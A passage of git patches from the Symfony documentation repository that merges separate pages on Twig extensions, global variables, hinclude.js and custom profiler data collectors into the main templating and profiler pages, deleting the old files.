+            return [
+                new TwigFunction('area', [$this, 'calculateArea']),
+            ];
+        }
+
+        public function calculateArea(int $width, int $length)
+        {
+            return $width * $length;
+        }
+    }
+
+.. tip::
+
+    Along with custom filters and functions, you can also register
+    `global variables`_.
+
+Register an Extension as a Service
+..................................
+
+Next, register your class as a service and tag it with ``twig.extension``. If you're
+using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+you're done! Symfony will automatically know about your new service and add the tag.
+
+You can now start using your filter in any Twig template. Optionally, execute
+this command to confirm that your new filter was successfully registered:
+
+.. code-block:: terminal
 
-.. toctree::
-    :maxdepth: 1
-    :glob:
+    # display all information about Twig
+    $ php bin/console debug:twig
+
+    # display only the information about a specific filter
+    $ php bin/console debug:twig --filter=price
+
+.. _lazy-loaded-twig-extensions:
+
+Creating Lazy-Loaded Twig Extensions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Including the code of the custom filters/functions in the Twig extension class
+is the simplest way to create extensions. However, Twig must initialize all
+extensions before rendering any template, even if the template doesn't use an
+extension.
+
+If extensions don't define dependencies (i.e. if you don't inject services in
+them) performance is not affected. However, if extensions define lots of complex
+dependencies (e.g. those making database connections), the performance loss can
+be significant.
+
+That's why Twig allows decoupling the extension definition from its
+implementation. Following the same example as before, the first change would be
+to remove the ``formatPrice()`` method from the extension and update the PHP
+callable defined in ``getFilters()``::
+
+    // src/Twig/AppExtension.php
+    namespace App\Twig;
+
+    use App\Twig\AppRuntime;
+    use Twig\Extension\AbstractExtension;
+    use Twig\TwigFilter;
+
+    class AppExtension extends AbstractExtension
+    {
+        public function getFilters()
+        {
+            return [
+                // the logic of this filter is now implemented in a different class
+                new TwigFilter('price', [AppRuntime::class, 'formatPrice']),
+            ];
+        }
+    }
+
+Then, create the new ``AppRuntime`` class (it's not required but these classes
+are suffixed with ``Runtime`` by convention) and include the logic of the
+previous ``formatPrice()`` method::
+
+    // src/Twig/AppRuntime.php
+    namespace App\Twig;
+
+    use Twig\Extension\RuntimeExtensionInterface;
+
+    class AppRuntime implements RuntimeExtensionInterface
+    {
+        public function __construct()
+        {
+            // this simple example doesn't define any dependency, but in your own
+            // extensions, you'll need to inject services using this constructor
+        }
+
+        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
+        {
+            $price = number_format($number, $decimals, $decPoint, $thousandsSep);
+            $price = '$'.$price;
+
+            return $price;
+        }
+    }
 
-    /templating/*
+If you're using the default ``services.yaml`` configuration, this will already
+work! Otherwise, :ref:`create a service <service-container-creating-service>`
+for this class and :doc:`tag your service </service_container/tags>` with ``twig.runtime``.
 
 .. _`Twig`: https://twig.symfony.com
 .. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html
@@ -1231,3 +1607,8 @@ Learn more
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`UX Twig Component`: https://symfony.com/bundles/ux-twig-component/current/index.html
 .. _`UX Live Component`: https://symfony.com/bundles/ux-live-component/current/index.html
+.. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
+.. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference
+.. _`official Twig extensions`: https://github.com/twigphp?q=extra
+.. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1
+.. _`hinclude.js`: http://mnot.github.io/hinclude/
diff --git a/templating/PHP.rst b/templating/PHP.rst
deleted file mode 100644
index 9928984f8d8..00000000000
--- a/templating/PHP.rst
+++ /dev/null
@@ -1,10 +0,0 @@
-.. index::
-   single: PHP Templates
-
-How to Use PHP instead of Twig for Templates
-============================================
-
-.. caution::
-
-    Starting from Symfony 5.0, PHP templates are no longer supported. Use
-    :doc:`Twig </templates>` instead to create your templates.
diff --git a/templating/global_variables.rst b/templating/global_variables.rst
deleted file mode 100644
index f38d06aca02..00000000000
--- a/templating/global_variables.rst
+++ /dev/null
@@ -1,116 +0,0 @@
-.. index::
-   single: Templating; Global variables
-
-How to Inject Variables Automatically into all Templates
-========================================================
-
-Twig allows you to automatically inject one or more variables into all templates.
-These global variables are defined in the ``twig.globals`` option inside the
-main Twig configuration file:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/twig.yaml
-        twig:
-            # ...
-            globals:
-                ga_tracking: 'UA-xxxxx-x'
-
-    .. code-block:: xml
-
-        <!-- config/packages/twig.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:twig="http://symfony.com/schema/dic/twig"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/twig
-                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
-
-            <twig:config>
-                <!-- ... -->
-                <twig:global key="ga_tracking">UA-xxxxx-x</twig:global>
-            </twig:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/twig.php
-        use Symfony\Config\TwigConfig;
-
-        return static function (TwigConfig $twig) {
-            // ...
-
-            $twig->global('ga_tracking')->value('UA-xxxxx-x');
-        };
-
-Now, the variable ``ga_tracking`` is available in all Twig templates, so you
-can use it without having to pass it explicitly from the controller or service
-that renders the template:
-
-.. code-block:: html+twig
-
-    <p>The Google tracking code is: {{ ga_tracking }}</p>
-
-Referencing Services
---------------------
-
-In addition to static values, Twig global variables can also reference services
-from the :doc:`service container </service_container>`. The main drawback is
-that these services are not loaded lazily. In other words, as soon as Twig is
-loaded, your service is instantiated, even if you never use that global variable.
-
-To define a service as a global Twig variable, prefix the service ID string with
-the ``@`` character, which is the usual syntax to
-:ref:`refer to services in container parameters <service-container-parameters>`:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/twig.yaml
-        twig:
-            # ...
-            globals:
-                # the value is the service's id
-                uuid: '@App\Generator\UuidGenerator'
-
-    .. code-block:: xml
-
-        <!-- config/packages/twig.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:twig="http://symfony.com/schema/dic/twig"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/twig
-                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
-
-            <twig:config>
-                <!-- ... -->
-                <twig:global key="uuid" id="App\Generator\UuidGenerator" type="service"/>
-            </twig:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/twig.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
-        use Symfony\Config\TwigConfig;
-
-        return static function (TwigConfig $twig) {
-            // ...
-
-            $twig->global('uuid')->value(service('App\Generator\UuidGenerator'));
-        };
-
-Now you can use the ``uuid`` variable in any Twig template to access to the
-``UuidGenerator`` service:
-
-.. code-block:: twig
-
-    UUID: {{ uuid.generate }}
diff --git a/templating/hinclude.rst b/templating/hinclude.rst
deleted file mode 100644
index 3a117148983..00000000000
--- a/templating/hinclude.rst
+++ /dev/null
@@ -1,99 +0,0 @@
-.. index::
-    single: Templating; hinclude.js
-
-How to Embed Asynchronous Content with hinclude.js
-==================================================
-
-:ref:`Embedding controllers in templates <templates-embed-controllers>` is one
-of the ways to reuse contents across multiple templates. To further improve
-performance you can use the `hinclude.js`_ JavaScript library to embed
-controllers asynchronously.
-
-First, include the `hinclude.js`_ library in your page
-:ref:`linking to it <templates-link-to-assets>` from the template or adding it
-to your application JavaScript :doc:`using Webpack Encore </frontend>`.
-
-As the embedded content comes from another page (or controller for that matter),
-Symfony uses a version of the standard ``render()`` function to configure
-``hinclude`` tags in templates:
-
-.. code-block:: twig
-
-    {{ render_hinclude(controller('...')) }}
-    {{ render_hinclude(url('...')) }}
-
-.. note::
-
-    When using the ``controller()`` function, you must also configure the
-    :ref:`fragments path option <fragments-path-config>`.
-
-When JavaScript is disabled or it takes a long time to load you can display a
-default content rendering some template:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            fragments:
-                hinclude_default_template: hinclude.html.twig
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <!-- ... -->
-            <framework:config>
-                <framework:fragments hinclude-default-template="hinclude.html.twig"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            // ...
-            $framework->fragments()
-                ->hincludeDefaultTemplate('hinclude.html.twig')
-            ;
-        };
-
-You can define default templates per ``render()`` function (which will override
-any global default template that is defined):
-
-.. code-block:: twig
-
-    {{ render_hinclude(controller('...'),  {
-        default: 'default/content.html.twig'
-    }) }}
-
-Or you can also specify a string to display as the default content:
-
-.. code-block:: twig
-
-    {{ render_hinclude(controller('...'), {default: 'Loading...'}) }}
-
-Use the ``attributes`` option to define the value of hinclude.js options:
-
-.. code-block:: twig
-
-    {# by default, cross-site requests don't use credentials such as cookies, authorization
-       headers or TLS client certificates; set this option to 'true' to use them #}
-    {{ render_hinclude(controller('...'), {attributes: {'data-with-credentials': 'true'}}) }}
-
-    {# by default, the JavaScript code included in the loaded contents is not run;
-       set this option to 'true' to run that JavaScript code #}
-    {{ render_hinclude(controller('...'), {attributes: {evaljs: 'true'}}) }}
-
-.. _`hinclude.js`: http://mnot.github.io/hinclude/
diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
deleted file mode 100644
index 3654fab4f6c..00000000000
--- a/templating/twig_extension.rst
+++ /dev/null
@@ -1,172 +0,0 @@
-.. index::
-   single: Twig extensions
-
-How to Write a custom Twig Extension
-====================================
-
-`Twig Extensions`_ allow the creation of custom functions, filters, and more to use
-in your Twig templates. Before writing your own Twig extension, check if
-the filter/function that you need is already implemented in:
-
-* The `default Twig filters and functions`_;
-* The :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`;
-* The `official Twig extensions`_ related to strings, HTML, Markdown, internationalization, etc.
-
-Create the Extension Class
---------------------------
-
-Suppose you want to create a new filter called ``price`` that formats a number
-as currency:
-
-.. code-block:: twig
-
-    {{ product.price|price }}
-
-    {# pass in the 3 optional arguments #}
-    {{ product.price|price(2, ',', '.') }}
-
-Create a class that extends ``AbstractExtension`` and fill in the logic::
-
-    // src/Twig/AppExtension.php
-    namespace App\Twig;
-
-    use Twig\Extension\AbstractExtension;
-    use Twig\TwigFilter;
-
-    class AppExtension extends AbstractExtension
-    {
-        public function getFilters()
-        {
-            return [
-                new TwigFilter('price', [$this, 'formatPrice']),
-            ];
-        }
-
-        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
-        {
-            $price = number_format($number, $decimals, $decPoint, $thousandsSep);
-            $price = '$'.$price;
-
-            return $price;
-        }
-    }
-
-If you want to create a function instead of a filter, define the
-``getFunctions()`` method::
-
-    // src/Twig/AppExtension.php
-    namespace App\Twig;
-
-    use Twig\Extension\AbstractExtension;
-    use Twig\TwigFunction;
-
-    class AppExtension extends AbstractExtension
-    {
-        public function getFunctions()
-        {
-            return [
-                new TwigFunction('area', [$this, 'calculateArea']),
-            ];
-        }
-
-        public function calculateArea(int $width, int $length)
-        {
-            return $width * $length;
-        }
-    }
-
-.. tip::
-
-    Along with custom filters and functions, you can also register
-    `global variables`_.
-
-Register an Extension as a Service
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Next, register your class as a service and tag it with ``twig.extension``. If you're
-using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-you're done! Symfony will automatically know about your new service and add the tag.
-
-You can now start using your filter in any Twig template. Optionally, execute
-this command to confirm that your new filter was successfully registered:
-
-.. code-block:: terminal
-
-    # display all information about Twig
-    $ php bin/console debug:twig
-
-    # display only the information about a specific filter
-    $ php bin/console debug:twig --filter=price
-
-.. _lazy-loaded-twig-extensions:
-
-Creating Lazy-Loaded Twig Extensions
-------------------------------------
-
-Including the code of the custom filters/functions in the Twig extension class
-is the simplest way to create extensions. However, Twig must initialize all
-extensions before rendering any template, even if the template doesn't use an
-extension.
-
-If extensions don't define dependencies (i.e. if you don't inject services in
-them) performance is not affected. However, if extensions define lots of complex
-dependencies (e.g. those making database connections), the performance loss can
-be significant.
-
-That's why Twig allows decoupling the extension definition from its
-implementation. Following the same example as before, the first change would be
-to remove the ``formatPrice()`` method from the extension and update the PHP
-callable defined in ``getFilters()``::
-
-    // src/Twig/AppExtension.php
-    namespace App\Twig;
-
-    use App\Twig\AppRuntime;
-    use Twig\Extension\AbstractExtension;
-    use Twig\TwigFilter;
-
-    class AppExtension extends AbstractExtension
-    {
-        public function getFilters()
-        {
-            return [
-                // the logic of this filter is now implemented in a different class
-                new TwigFilter('price', [AppRuntime::class, 'formatPrice']),
-            ];
-        }
-    }
-
-Then, create the new ``AppRuntime`` class (it's not required but these classes
-are suffixed with ``Runtime`` by convention) and include the logic of the
-previous ``formatPrice()`` method::
-
-    // src/Twig/AppRuntime.php
-    namespace App\Twig;
-
-    use Twig\Extension\RuntimeExtensionInterface;
-
-    class AppRuntime implements RuntimeExtensionInterface
-    {
-        public function __construct()
-        {
-            // this simple example doesn't define any dependency, but in your own
-            // extensions, you'll need to inject services using this constructor
-        }
-
-        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
-        {
-            $price = number_format($number, $decimals, $decPoint, $thousandsSep);
-            $price = '$'.$price;
-
-            return $price;
-        }
-    }
-
-If you're using the default ``services.yaml`` configuration, this will already
-work! Otherwise, :ref:`create a service <service-container-creating-service>`
-for this class and :doc:`tag your service </service_container/tags>` with ``twig.runtime``.
-
-.. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
-.. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference
-.. _`official Twig extensions`: https://github.com/twigphp?q=extra
-.. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1

From f5d8216b5d544b3b233d7bd3b0d7a59dda5f9e40 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 31 Jan 2023 08:34:05 +0100
Subject: [PATCH 2858/5766] Consolidate profiler docs

---
 _build/redirection_map      |   3 +-
 profiler.rst                | 304 +++++++++++++++++++++++++++++++++++-
 profiler/data_collector.rst | 304 ------------------------------------
 reference/dic_tags.rst      |   4 +-
 testing/profiling.rst       |   2 +-
 5 files changed, 306 insertions(+), 311 deletions(-)
 delete mode 100644 profiler/data_collector.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 7a7534a765f..295311d1532 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -190,7 +190,8 @@
 /cookbook/logging/monolog_console /logging/monolog_console
 /cookbook/logging/monolog_email /logging/monolog_email
 /cookbook/logging/monolog_regex_based_excludes /logging/monolog_regex_based_excludes
-/cookbook/profiler/data_collector /profiler/data_collector
+/cookbook/profiler/data_collector /profiler#profiler-data-collector
+/profiler/data_collector /profiler#profiler-data-collector
 /cookbook/profiler/index /profiler
 /cookbook/profiler/matchers /profiler/matchers
 /cookbook/profiler/profiling_data /profiler/profiling_data
diff --git a/profiler.rst b/profiler.rst
index 49e804f45b2..55bc0b6bf54 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -211,11 +211,309 @@ event::
         $response = $event->getResponse();
         $response->headers->set('Symfony-Debug-Toolbar-Replace', 1);
     }
+.. index::
+   single: Profiling; Data collector
 
-.. toctree::
-    :hidden:
+.. _profiler-data-collector:
 
-    profiler/data_collector
+Creating a Data Collector
+=========================
+
+The Symfony Profiler obtains its profiling and debug information using some
+special classes called data collectors. Symfony comes bundled with a few of
+them, but you can also create your own.
+
+A data collector is a PHP class that implements the
+:class:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface`.
+For convenience, your data collectors can also extend from the
+:class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector`
+class, which implements the interface and provides some utilities and the
+``$this->data`` property to store the collected information.
+
+.. versionadded:: 5.2
+
+    The ``AbstractDataCollector`` class was introduced in Symfony 5.2.
+
+The following example shows a custom collector that stores information about the
+request::
+
+    // src/DataCollector/RequestCollector.php
+    namespace App\DataCollector;
+
+    use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+
+    class RequestCollector extends AbstractDataCollector
+    {
+        public function collect(Request $request, Response $response, \Throwable $exception = null)
+        {
+            $this->data = [
+                'method' => $request->getMethod(),
+                'acceptable_content_types' => $request->getAcceptableContentTypes(),
+            ];
+        }
+    }
+
+These are the method that you can define in the data collector class:
+
+:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::collect` method:
+    Stores the collected data in local properties (``$this->data`` if you extend
+    from ``AbstractDataCollector``). If you need some services to collect the
+    data, inject those services in the data collector constructor.
+
+    .. caution::
+
+        The ``collect()`` method is only called once. It is not used to "gather"
+        data but is there to "pick up" the data that has been stored by your
+        service.
+
+    .. caution::
+
+        As the profiler serializes data collector instances, you should not
+        store objects that cannot be serialized (like PDO objects) or you need
+        to provide your own ``serialize()`` method.
+
+:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::reset` method:
+    It's called between requests to reset the state of the profiler. By default
+    it only empties the ``$this->data`` contents, but you can override this method
+    to do additional cleaning.
+
+:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::getName` method:
+    Returns the collector identifier, which must be unique in the application.
+    By default it returns the FQCN of the data collector class, but you can
+    override this method to return a custom name (e.g. ``app.request_collector``).
+    This value is used later to access the collector information (see
+    :doc:`/testing/profiling`) so you may prefer using short strings instead of FQCN strings.
+
+The ``collect()`` method is called during the :ref:`kernel.response <component-http-kernel-kernel-response>`
+event. If you need to collect data that is only available later, implement
+:class:`Symfony\\Component\\HttpKernel\\DataCollector\\LateDataCollectorInterface`
+and define the ``lateCollect()`` method, which is invoked right before the profiler
+data serialization (during :ref:`kernel.terminate <component-http-kernel-kernel-terminate>` event).
+
+.. note::
+
+    If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
+    with ``autoconfigure``, then Symfony will start using your data collector after the
+    next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`.
+
+Adding Web Profiler Templates
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The information collected by your data collector can be displayed both in the
+web debug toolbar and in the web profiler. To do so, you need to create a Twig
+template that includes some specific blocks.
+
+First, add the ``getTemplate()`` method in your data collector class to return
+the path of the Twig template to use. Then, add some *getters* to give the
+template access to the collected information::
+
+    // src/DataCollector/RequestCollector.php
+    namespace App\DataCollector;
+
+    use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
+
+    class RequestCollector extends AbstractDataCollector
+    {
+        // ...
+
+        public static function getTemplate(): ?string
+        {
+            return 'data_collector/template.html.twig';
+        }
+
+        public function getMethod()
+        {
+            return $this->data['method'];
+        }
+
+        public function getAcceptableContentTypes()
+        {
+            return $this->data['acceptable_content_types'];
+        }
+    }
+
+In the simplest case, you want to display the information in the toolbar
+without providing a profiler panel. This requires to define the ``toolbar``
+block and set the value of two variables called ``icon`` and ``text``:
+
+.. code-block:: html+twig
+
+    {# templates/data_collector/template.html.twig #}
+    {% extends '@WebProfiler/Profiler/layout.html.twig' %}
+
+    {% block toolbar %}
+        {% set icon %}
+            {# this is the content displayed as a panel in the toolbar #}
+            <svg xmlns="http://www.w3.org/2000/svg"> ... </svg>
+            <span class="sf-toolbar-value">Request</span>
+        {% endset %}
+
+        {% set text %}
+            {# this is the content displayed when hovering the mouse over
+               the toolbar panel #}
+            <div class="sf-toolbar-info-piece">
+                <b>Method</b>
+                <span>{{ collector.method }}</span>
+            </div>
+
+            <div class="sf-toolbar-info-piece">
+                <b>Accepted content type</b>
+                <span>{{ collector.acceptableContentTypes|join(', ') }}</span>
+            </div>
+        {% endset %}
+
+        {# the 'link' value set to 'false' means that this panel doesn't
+           show a section in the web profiler #}
+        {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { link: false }) }}
+    {% endblock %}
+
+.. tip::
+
+    Built-in collector templates define all their images as embedded SVG files.
+    This makes them work everywhere without having to mess with web assets links:
+
+    .. code-block:: twig
+
+        {% set icon %}
+            {{ include('data_collector/icon.svg') }}
+            {# ... #}
+        {% endset %}
+
+If the toolbar panel includes extended web profiler information, the Twig template
+must also define additional blocks:
+
+.. code-block:: html+twig
+
+    {# templates/data_collector/template.html.twig #}
+    {% extends '@WebProfiler/Profiler/layout.html.twig' %}
+
+    {% block toolbar %}
+        {% set icon %}
+            {# ... #}
+        {% endset %}
+
+        {% set text %}
+            <div class="sf-toolbar-info-piece">
+                {# ... #}
+            </div>
+        {% endset %}
+
+        {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { 'link': true }) }}
+    {% endblock %}
+
+    {% block head %}
+        {# Optional. Here you can link to or define your own CSS and JS contents. #}
+        {# Use {{ parent() }} to extend the default styles instead of overriding them. #}
+    {% endblock %}
+
+    {% block menu %}
+        {# This left-hand menu appears when using the full-screen profiler. #}
+        <span class="label">
+            <span class="icon"><img src="..." alt=""/></span>
+            <strong>Request</strong>
+        </span>
+    {% endblock %}
+
+    {% block panel %}
+        {# Optional, for showing the most details. #}
+        <h2>Acceptable Content Types</h2>
+        <table>
+            <tr>
+                <th>Content Type</th>
+            </tr>
+
+            {% for type in collector.acceptableContentTypes %}
+            <tr>
+                <td>{{ type }}</td>
+            </tr>
+            {% endfor %}
+        </table>
+    {% endblock %}
+
+The ``menu`` and ``panel`` blocks are the only required blocks to define the
+contents displayed in the web profiler panel associated with this data collector.
+All blocks have access to the ``collector`` object.
+
+.. note::
+
+    The position of each panel in the toolbar is determined by the collector
+    priority, which can only be defined when :ref:`configuring the data collector by hand <data_collector_tag>`.
+
+.. note::
+
+    If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
+    with ``autoconfigure``, then Symfony will start displaying your collector data
+    in the toolbar after the next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`.
+
+.. _data_collector_tag:
+
+Enabling Custom Data Collectors
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you don't use Symfony's default configuration with
+:ref:`autowire and autoconfigure <service-container-services-load-example>`
+you'll need to configure the data collector explicitly:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\DataCollector\RequestCollector:
+                tags:
+                    -
+                        name: data_collector
+                        # must match the value returned by the getName() method
+                        id: 'App\DataCollector\RequestCollector'
+                        # optional template (it has more priority than the value returned by getTemplate())
+                        template: 'data_collector/template.html.twig'
+                        # optional priority (positive or negative integer; default = 0)
+                        # priority: 300
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\DataCollector\RequestCollector">
+                    <!-- the 'template' attribute has more priority than the value returned by getTemplate() -->
+                    <tag name="data_collector"
+                        id="App\DataCollector\RequestCollector"
+                        template="data_collector/template.html.twig"
+                    />
+                    <!-- optional 'priority' attribute (positive or negative integer; default = 0) -->
+                    <!-- priority="300" -->
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\DataCollector\RequestCollector;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->set(RequestCollector::class)
+                ->tag('data_collector', [
+                    'id' => RequestCollector::class,
+                    // optional template (it has more priority than the value returned by getTemplate())
+                    'template' => 'data_collector/template.html.twig',
+                    // optional priority (positive or negative integer; default = 0)
+                    // 'priority' => 300,
+                ]);
+        };
 
 .. _`Single-page applications`: https://en.wikipedia.org/wiki/Single-page_application
 .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=profiler
diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
deleted file mode 100644
index 44545614da2..00000000000
--- a/profiler/data_collector.rst
+++ /dev/null
@@ -1,304 +0,0 @@
-.. index::
-   single: Profiling; Data collector
-
-How to Create a custom Data Collector
-=====================================
-
-The :doc:`Symfony Profiler </profiler>` obtains its profiling and debug
-information using some special classes called data collectors. Symfony comes
-bundled with a few of them, but you can also create your own.
-
-Creating a custom Data Collector
---------------------------------
-
-A data collector is a PHP class that implements the
-:class:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface`.
-For convenience, your data collectors can also extend from the
-:class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector`
-class, which implements the interface and provides some utilities and the
-``$this->data`` property to store the collected information.
-
-.. versionadded:: 5.2
-
-    The ``AbstractDataCollector`` class was introduced in Symfony 5.2.
-
-The following example shows a custom collector that stores information about the
-request::
-
-    // src/DataCollector/RequestCollector.php
-    namespace App\DataCollector;
-
-    use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-
-    class RequestCollector extends AbstractDataCollector
-    {
-        public function collect(Request $request, Response $response, \Throwable $exception = null)
-        {
-            $this->data = [
-                'method' => $request->getMethod(),
-                'acceptable_content_types' => $request->getAcceptableContentTypes(),
-            ];
-        }
-    }
-
-These are the method that you can define in the data collector class:
-
-:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::collect` method:
-    Stores the collected data in local properties (``$this->data`` if you extend
-    from ``AbstractDataCollector``). If you need some services to collect the
-    data, inject those services in the data collector constructor.
-
-    .. caution::
-
-        The ``collect()`` method is only called once. It is not used to "gather"
-        data but is there to "pick up" the data that has been stored by your
-        service.
-
-    .. caution::
-
-        As the profiler serializes data collector instances, you should not
-        store objects that cannot be serialized (like PDO objects) or you need
-        to provide your own ``serialize()`` method.
-
-:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::reset` method:
-    It's called between requests to reset the state of the profiler. By default
-    it only empties the ``$this->data`` contents, but you can override this method
-    to do additional cleaning.
-
-:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::getName` method:
-    Returns the collector identifier, which must be unique in the application.
-    By default it returns the FQCN of the data collector class, but you can
-    override this method to return a custom name (e.g. ``app.request_collector``).
-    This value is used later to access the collector information (see
-    :doc:`/testing/profiling`) so you may prefer using short strings instead of FQCN strings.
-
-The ``collect()`` method is called during the :ref:`kernel.response <component-http-kernel-kernel-response>`
-event. If you need to collect data that is only available later, implement
-:class:`Symfony\\Component\\HttpKernel\\DataCollector\\LateDataCollectorInterface`
-and define the ``lateCollect()`` method, which is invoked right before the profiler
-data serialization (during :ref:`kernel.terminate <component-http-kernel-kernel-terminate>` event).
-
-.. note::
-
-    If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
-    with ``autoconfigure``, then Symfony will start using your data collector after the
-    next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`.
-
-Adding Web Profiler Templates
------------------------------
-
-The information collected by your data collector can be displayed both in the
-web debug toolbar and in the web profiler. To do so, you need to create a Twig
-template that includes some specific blocks.
-
-First, add the ``getTemplate()`` method in your data collector class to return
-the path of the Twig template to use. Then, add some *getters* to give the
-template access to the collected information::
-
-    // src/DataCollector/RequestCollector.php
-    namespace App\DataCollector;
-
-    use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
-
-    class RequestCollector extends AbstractDataCollector
-    {
-        // ...
-
-        public static function getTemplate(): ?string
-        {
-            return 'data_collector/template.html.twig';
-        }
-
-        public function getMethod()
-        {
-            return $this->data['method'];
-        }
-
-        public function getAcceptableContentTypes()
-        {
-            return $this->data['acceptable_content_types'];
-        }
-    }
-
-In the simplest case, you want to display the information in the toolbar
-without providing a profiler panel. This requires to define the ``toolbar``
-block and set the value of two variables called ``icon`` and ``text``:
-
-.. code-block:: html+twig
-
-    {# templates/data_collector/template.html.twig #}
-    {% extends '@WebProfiler/Profiler/layout.html.twig' %}
-
-    {% block toolbar %}
-        {% set icon %}
-            {# this is the content displayed as a panel in the toolbar #}
-            <svg xmlns="http://www.w3.org/2000/svg"> ... </svg>
-            <span class="sf-toolbar-value">Request</span>
-        {% endset %}
-
-        {% set text %}
-            {# this is the content displayed when hovering the mouse over
-               the toolbar panel #}
-            <div class="sf-toolbar-info-piece">
-                <b>Method</b>
-                <span>{{ collector.method }}</span>
-            </div>
-
-            <div class="sf-toolbar-info-piece">
-                <b>Accepted content type</b>
-                <span>{{ collector.acceptableContentTypes|join(', ') }}</span>
-            </div>
-        {% endset %}
-
-        {# the 'link' value set to 'false' means that this panel doesn't
-           show a section in the web profiler #}
-        {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { link: false }) }}
